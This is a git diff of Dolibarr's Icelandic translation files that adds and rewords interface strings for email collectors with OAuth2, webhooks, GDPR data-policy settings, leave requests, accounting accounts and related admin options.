decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Bókamerki mát skipulag BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind mát skipulag -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Athugaðu að IP þinn til landsins gögn skrá verður inni í möppuna PHP geta lesið (Athugaðu PHP open_basedir skipulag og skráarkerfi leyfi). YouCanDownloadFreeDatFileTo=Þú getur sótt ókeypis útgáfa af Maxmind GeoIP landi skrá hjá %s . YouCanDownloadAdvancedDatFileTo=Þú getur einnig hlaðið niður fleiri heill útgáfa með uppfærslum á Maxmind GeoIP landi skrá hjá %s . @@ -1922,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Purchase orders MailToSendSupplierInvoice=Vendor invoices MailToSendContract=Samningar MailToSendReception=Receptions +MailToExpenseReport=Expense reports MailToThirdparty=Í þriðja aðila MailToMember=Meðlimir MailToUser=Notendur @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Right margin on PDF MAIN_PDF_MARGIN_TOP=Top margin on PDF MAIN_PDF_MARGIN_BOTTOM=Bottom margin on PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Height for logo on PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Add a scheduled job and a setup page to scan regularly email boxes (using IMAP protocol) and record emails received into your application, at the right place and/or create some records automatically (like leads). NewEmailCollector=New Email Collector EMailHost=Host of email IMAP server +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Mailbox source directory MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2097,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2106,7 +2150,7 @@ CreateCandidature=Create job application FormatZip=Zip MainMenuCode=Menu entry code (mainmenu) ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Opening hours OpeningHoursDesc=Enter here the regular opening hours of your company. ResourceSetup=Configuration of Resource module @@ -2171,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2199,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Mælt NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=No updates found for external modules SwaggerDescriptionFile=Swagger API description file (for use with redoc for example) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=You enabled deprecated WS API. You should use REST API instead. RandomlySelectedIfSeveral=Randomly selected if several pictures are available +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Database password is obfuscated in conf file DatabasePasswordNotObfuscated=Database password is NOT obfuscated in conf file APIsAreNotEnabled=APIs modules are not enabled @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/is_IS/compta.lang b/htdocs/langs/is_IS/compta.lang index eeedada04b2..2dbab4441e4 100644 --- a/htdocs/langs/is_IS/compta.lang +++ b/htdocs/langs/is_IS/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=Jafnvægi Debit=Debit Credit=Greiðslukort +AccountingDebit=Debit +AccountingCredit=Greiðslukort Piece=Accounting Doc. AmountHTVATRealReceived=Net safnað AmountHTVATRealPaid=Net greitt @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Delete a social or fiscal tax payment DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Social and fiscal taxes and payments CalcModeVATDebt=Mode %sVAT on commitment accounting%s. CalcModeVATEngagement=Mode %sVAT on incomes-expenses%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Calculation mode AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/is_IS/contracts.lang b/htdocs/langs/is_IS/contracts.lang index ecc5d4fa482..c06ac849add 100644 --- a/htdocs/langs/is_IS/contracts.lang +++ b/htdocs/langs/is_IS/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contracts/Subscriptions ContractsAndLine=Contracts and line of contracts Contract=Samningur ContractLine=Contract line +ContractLines=Contract lines Closing=Closing NoContracts=Engir samningar MenuServices=Þjónusta @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Færa þjónustuna í annað samning. ConfirmMoveToAnotherContract=Ég choosed ný markmið samningsins og staðfesta mig langar til að færa þessa þjónustu inn í þennan samning. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Endurnýja samning línu (númer %s ) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Gildistími NoExpiredServices=Engar útrunnin virk þjónusta ListOfServicesToExpireWithDuration=List of Services to expire in %s days @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Undirritun samnings viðskiptavina sam HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/is_IS/datapolicy.lang b/htdocs/langs/is_IS/datapolicy.lang new file mode 100644 index 00000000000..7911560077e --- /dev/null +++ b/htdocs/langs/is_IS/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Viðskiptavinur +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Birgir +DATAPOLICY_CONTACT_CLIENT = Viðskiptavinur +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Birgir +DATAPOLICY_ADHERENT = Aðildarríkin +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/is_IS/dict.lang b/htdocs/langs/is_IS/dict.lang index 0f681b0be1e..604ae32478b 100644 --- a/htdocs/langs/is_IS/dict.lang +++ b/htdocs/langs/is_IS/dict.lang @@ -21,7 +21,7 @@ CountryNL=Holland CountryHU=Ungverjaland CountryRU=Rússland CountrySE=Svíþjóð -CountryCI=Ivoiry Coast +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Kamerún @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Frú +CivilityMMEShort=Frú CivilityMR=Herra +CivilityMRShort=Herra CivilityMLE=Fröken CivilityMTRE=Master CivilityDR=Doctor diff --git a/htdocs/langs/is_IS/ecm.lang b/htdocs/langs/is_IS/ecm.lang index 04144398689..fcab57a8694 100644 --- a/htdocs/langs/is_IS/ecm.lang +++ b/htdocs/langs/is_IS/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Handbók skrá ECMSectionAuto=Sjálfvirk skrá ECMSectionsManual=Handbók tré ECMSectionsAuto=Sjálfvirk tré +ECMSectionsMedias=Medias tree ECMSections=Möppur ECMRoot=ECM Root ECMNewSection=Ný mappa @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Number of files in sub-directories ECMCreationUser=Creator ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Sjálfvirkar framkvæmdarstjóra eru fyllt sjálfkrafa þegar bætt skjölum frá kort af frumefni.
      * Manual framkvæmdarstjóra hægt að nota til að vista skjölin ekki tengd við ákveðna hluti. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Listinn %s hefur verið eytt. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Leita eftir leitarorðum diff --git a/htdocs/langs/is_IS/holiday.lang b/htdocs/langs/is_IS/holiday.lang index 2afc9da4ad8..465cc8fb4fa 100644 --- a/htdocs/langs/is_IS/holiday.lang +++ b/htdocs/langs/is_IS/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Monthly statement MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Upphafsdagur @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=You must select a start date. NoDateFin=You must select an end date. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Ástæða UserCP=Notandi ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Previous Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Notendur +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/is_IS/mails.lang b/htdocs/langs/is_IS/mails.lang index 02582c67be2..6575fb20116 100644 --- a/htdocs/langs/is_IS/mails.lang +++ b/htdocs/langs/is_IS/mails.lang @@ -7,10 +7,10 @@ MailCard=Emailing kort MailRecipients=Viðtakendur MailRecipient=Viðtakandi MailTitle=Lýsing -MailFrom=Sendandi +MailFrom=Frá MailErrorsTo=Villur við MailReply=Svara -MailTo=Receiver (s) +MailTo=Senda á MailToUsers=To user(s) MailCC=Afrita á MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Í þriðja aðila SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/is_IS/main.lang b/htdocs/langs/is_IS/main.lang index 349fa522956..fe7b5f6245f 100644 --- a/htdocs/langs/is_IS/main.lang +++ b/htdocs/langs/is_IS/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages 